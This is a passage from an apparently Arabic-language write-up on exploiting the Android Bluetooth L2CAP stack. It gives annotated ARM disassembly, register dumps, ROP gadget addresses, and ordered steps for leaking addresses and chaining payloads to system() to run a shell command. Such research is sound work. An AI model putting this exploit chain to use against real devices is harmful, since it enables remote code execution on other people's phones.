uint16_t event; | Size 0x2 | Offset 0x0 uint16_t len; | Size 0x2 | Offset 0x2 uint16_t offset; | Size 0x2 | Offset 0x4 uint16_t layer_specific; | Size 0x2 | Offset 0x6 uint8_t data[]; | Size 0xx | Offset 0x8 } BT_HDR; | Size 0x8 + data length

تفكيك دالة l2c_link_check_send_pkts:

.text:0x00103108 PUSH.W {R4-R11,LR} .text:0x0010310C SUB SP, SP, #0x14 .text:0x0010310E MOV R4, R0 => Move R0 to R4 => Set R4 = R0 = tL2C_LCB* p_lcb .text:0x00103110 CBZ R2, loc_10311C => Jump if R2 is null => Jump if BT_HDR* p_buf is null .text:0x00103112 MOVS R0, #0 => Move 0 to R0 => .text:0x00103114 CBZ R1, loc_103120 => Jump if R1 is null => Jump if tL2C_CCB* p_ccb is null .text:0x00103116 LDRH R1, [R1,#0x2C] => Load R1 + 0x2C into R1 => Load R1 with p_ccb->local_cid .text:0x00103118 MOVS R7, #1 => Move 1 to R7 => Set single_write = true .text:0x0010311A B loc_103124 => Branch to loc_103124 .text:0x00103124 loc_103124 .text:0x00103124 STRH R1, [R2] => Store R1 high into R2 => Set p_buf->event = p_ccb->local_cid .text:0x00103126 MOV R1, R2 => Move R2 to R1 => Set R1 = R2 = BT_HDR* p_buf .text:0x00103128 STRH R0, [R2,#6] => Store R0 into R2 + 0x6 => Set p_buf->layer_specific = 0 .text:0x0010312A LDR R0, [R4,#0x44] => Load R4 + 0x44 into R0 => Load R0 with list_t* p_lcb->link_xmit_data_q from R4 + 0x44 .text:0x0010312C BL list_append => Branch with link to list_append

قبل استدعاء دالة list_append، تحتوي المسجلات على:

• R0 = list_t* p_lcb->link_xmit_data_q object with the first payload
• R1 and R2 = BT_HDR* p_buf object with the second payload
• R4 = tL2C_LCB* p_lcb object with the first payload at 0x44
• R7 = 1

تفكيك دالة list_append:

.text:0x001298A0 PUSH {R4,R5,R7,LR} .text:0x001298A2 SUB SP, SP, #0x138 .text:0x001298A4 MOV R4, R0 => Move R4 to R0 => Set R4 = R0 = list_t* p_lcb->link_xmit_data_q .text:0x001298A6 LDR R0, =(stack_canary_1A2718 - 0x1298B0) .text:0x001298A8 MOV R5, R1 => Move R1 to R5 => Set R5 = R1 = BT_HDR* p_buf .text:0x001298AA CMP R4, #0 => Test R4 = 0 => Test if list_t* p_lcb->link_xmit_data_q is null .text:0x001298AC ADD R0, PC ; stack_canary_1A2718 .text:0x001298AE LDR R0, [R0] => .text:0x001298B0 LDR R0, [R0] => .text:0x001298B2 STR R0, [SP,#0x148+stack_canary] => .text:0x001298B4 BNE loc_1298CA => Test CMP => Jump if list_t* p_lcb->link_xmit_data_q is not null .text:0x001298CA loc_1298CA => .text:0x001298CA CBNZ R5, loc_1298E0 => Jump if R5 is not null => Jump if BT_HDR* p_buf is null .text:0x001298E0 loc_1298E0 => .text:0x001298E0 LDR R0, [R4,#0x10] => Load R0 from R4+0x10 => Set R0 = list->allocator .text:0x001298E2 LDR R1, [R0] => Load R1 from R0 => Set R1 = list->allocator->alloc .text:0x001298E4 MOVS R0, #8 => Move 8 to R0 => Set R0 = sizeof(list_node_t) .text:0x001298E6 BLX R1 => Branch with link and exchange to R1 => Branch to controlled R1 !!!

قبل الفرع المسيطر إلى R1، تحتوي المسجلات على:

• R0 = 0x8
• R1 = second payload value + 0x0
• R2 and R5 point to BT_HDR* p_buff with the second payload
• R4 point to list_t* p_lcb->link_xmit_data_q with the first payload

للعثور على بداية الحمولة الأولى في list_t* p_lcb->link_xmit_data_q المشار إليه بـ R4، استخدمنا gadget ldm الموجود عند 0x00125734:

0x00125734 : ldm r4, {r0, r1, r2, r3, r5, r6, r7, sb, sl, ip, sp, lr, pc}

التعطل المستهدف مع محتويات المسجلات التالية:

• R4 = ade05278 = list_t* p_lcb->link_xmit_data_q with the first payload at + 0x894C (0x894C / 0x360 = 0x28 = 40 packets where we can access the second payload)

• R0 = R4 + 0x0 = 0020de08

• R1 = R4 + 0x4 = dead0000 = first payload value + 0x0

• R2 = R4 + 0x8 = dead0001 = first payload value + 0x4

• R3 = R4 + 0xC = dead0002 = first payload value + 0x8

• R5 = R4 + 0x10 = ade0db14 = first payload value + 0xC = address of second payload + 0x0

• R6 = R4 + 0x14 = dead0003 = first payload value + 0x10

• R7 = R4 + 0x18 = 00200004

• R9 (SB) = R4 + 0x1C = dead0000 = first payload value + 0x0

• R10 (SL) = R4 + 0x20 = dead0001 = first payload value + 0x4

• R12 (IP) = R4 + 0x24 = dead0002 = first payload value + 0x8

• R13 (SP) = R4 + 0x2C = ade0db14 = first payload value + 0xC = address of second payload+ 0x0

• R14 (LR) = R4 + 0x30 = dead0003 = first payload value + 0x10

تتكرر الحمولة الأولى كل 0x14 بايت، وهو حجم بنية list_t

typedef struct list_t { list_node_t* head; | Size 0x4 | Offset 0x0 | l2cap header not usable list_node_t* tail; | Size 0x4 | Offset 0x4 | first payload value + 0x0 size_t length; | Size 0x4 | Offset 0x8 | first payload value + 0x4 list_free_cb free_cb; | Size 0x4 | Offset 0xC | first payload value + 0x8 const allocator_t* allocator; | Size 0x4 | Offset 0x10 | first payload value + 0xC } list_t; | Size 0x14

للعثور على بداية الحمولة الثانية في BT_HDR* p_buff المشار إليه بـ R5، استخدمنا gadget ldm الموجود عند 0x000dcecc:

0x000dcecc : ldm r5, {r2, r3, r4, r6, r7, r8, lr, pc}

التعطل المستهدف مع محتويات المسجلات التالية:

• R2 = R5 + 0x0 = 000e0000
• R3 = R5 + 0x4 = 00000000
• R4 = R5 + 0x8 = 000a2002
• R5 = 95270300 = BT_HDR* p_buff with the second payload at + 0x???
• R6 = R5 + 0xC = 00010006
• R7 = R5 + 0x10 = 0002020a
• R8 = R5 + 0x14 = 00000002

لا توجد زيادة في هذا التحميل المتعدد ويمكننا رؤية أن محتوى BT_HDR* p_buff + 0x0 هو: 000e0000 00000000 000a2002 00010006 0002020a 00000002

نفس الاختبار مع تحميل متعدد مع زيادة قبل gadget الموجود عند 0x0014b580: 0x0014b580 : ldmib r5, {r1, r2, r3, r4, r7, r8, sl, fp, sp, pc} ^

التعطل المستهدف مع السجل التالي:

بعد التعطل، تحتوي المسجلات على:

• R1 = R5 + 0x4 = 00000000
• R2 = R5 + 0x8 = 000a2002
• R3 = R5 + 0xC = 00010006
• R4 = R5 + 0x10 = 0002020a
• R5 = 9530ee00 = BT_HDR* p_buff with the second payload at + 0x14
• R7 = R5 + 0x14 = 96300002
• R8 = R5 + 0x18 = dead0007
• SL = R5 + 0x1C = dead0008
• FP = R5 + 0x20 = dead0009
• SP = R5 + 0x24 = dead000a

محتوى BT_HDR* p_buff + 0x4 مع الزيادة هو: 00000000 000a2002 00010006 0002020a 96300002 dead0007 dead0008 dead0009 dead000a

يمكننا أن نرى أن الحمولة الثانية عند + 0x14 في BT_HDR* p_buff

########################################################################################

كتابة سلسلة ROP

########################################################################################

كما فعل Jan Ruge مع مكتبة libicuuc، لدينا وصول فقط إلى dlsym في مكتبة البلوتوث للعثور على عنوان system لبدء الصدفة

عملية الاستغلال هي كالتالي:- احصل على عنوان إدخال قائمة انتظار المخزن المؤقت لنقل البيانات (link transmit data buffer queue) عند mem_offset 180 واحسب قاعدة حزمة مع - 176

• احصل على عنوان دالة BleAdvertisingManagerImpl::SetDataAdvDataSender عند mem_offset 28 لحساب عنوان قاعدة مكتبة البلوتوث
• أنشئ حمولة أولى بطول 32 حرفًا تحتوي على عنوان إدخال قائمة انتظار المخزن المؤقت لنقل البيانات
• أنشئ حمولة ثانية بطول 184 حرفًا تحتوي على سلسلة ROP وأمر الشل
• انشر الحمولة الثانية عند mem_offset 184 باستخدام طريقة التسريب لوضعها في قائمة انتظار المخزن المؤقت لنقل البيانات
• تجاوز الحمولة الأولى لاستبدال الإدخالات في قائمة انتظار المخزن المؤقت لنقل البيانات وتشغيل الانتقال إلى بداية الحمولة الثانية
• تبدأ الحمولة الثانية أمر الشل

انظر الكود للحصول على التفسيرات

################################################################################